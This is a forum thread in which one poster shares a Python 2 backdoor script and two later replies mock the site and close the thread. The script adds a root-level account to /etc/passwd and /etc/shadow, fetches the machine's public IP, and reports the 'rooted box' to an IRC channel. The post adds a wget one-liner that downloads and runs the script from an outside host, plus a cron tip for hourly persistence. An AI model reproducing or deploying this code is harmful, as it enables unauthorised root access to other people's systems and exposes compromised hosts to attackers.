[lola_mybb_import14421]

Spoiler:

Code:

#!/usr/bin/python2 import crypt import subprocess import string import socket import time import random import sys import os #config the following shit USERNAME = "kibo" PASSWORD = "kibo_backdoor" SALT = "changeme" HOME_DIRECTORY = "/" SHELL = "/bin/bash" SERVER = "irc.rizon.net" CHANNEL = "#changeme" PORT = 6667 #end of config def main():     passwd = open("/etc/passwd", "a+")     passwd.write("{0}:x:0:0:root:{1}:{2}".format(USERNAME, HOME_DIRECTORY, SHELL))     passwd.close()     shadow_root_ln = ""     for x in open("/etc/shadow", "a+").read().split("\n"):         if "root" in x:             shadow_root_ln += x             break     shadow_root_ln_split = shadow_root_ln.split(":")     shadow_root_ln_split[0] = USERNAME     shadow_root_ln_split[1] = crypt.crypt(PASSWORD, "$6${0}".format(SALT))     shadow_string = ""     for x in shadow_root_ln_split:         shadow_string += x+":"     shadow_string = shadow_string[:-1]     open("/etc/shadow", "a+").write("{0}\n".format(shadow_string))     p = subprocess.Popen(["curl", "wtfismyip.com/text"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)     out, err = p.communicate()     username = ''.join(random.choice(string.ascii_uppercase+string.ascii_lowercase) for _ in range(8))     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     sock.connect((SERVER, PORT))     sock.send("USER {0} {0} {0} :ilovedicklol\n".format(username))     sock.send("NICK {0}\n".format(username))     sock.send("JOIN {0}\n".format(CHANNEL))     sock.send("PRIVMSG {0} :rooted box available: {1}\n".format(CHANNEL, out))     time.sleep(5)     sock.send("DISCONNECT\n") if __name__ == "__main__":     main()

how this works is it creates a user by creating new entries in /etc/passwd and /etc/shadow
then connecting to a given irc server and channel and then retrieving the ip of the target box and sending it in the irc channel
also, this depends on python2
don't try it with python3
anyway yeah this is pretty simple and is in no way supposed to be secure or hidden

here's a oneliner if you need to backdoor a box superfast speed:

Spoiler:

Code:

wget https://jii.moe/VJyHb3mu.py -o /tmp/kibo.py; chmod +x /tmp/kibo.py; /tmp/kibo.py

you could also put this oneliner into a cron job to make sure the account gets added every hour should it be removed

give suggestions of improvement or whatever

[SynthMesc]

Such terrible programmers on this site

[Viomi_mybb_import13610]

Such terrible programmers on this site

Please refrain from grave-digging, @SynthMesc

Closing this thread.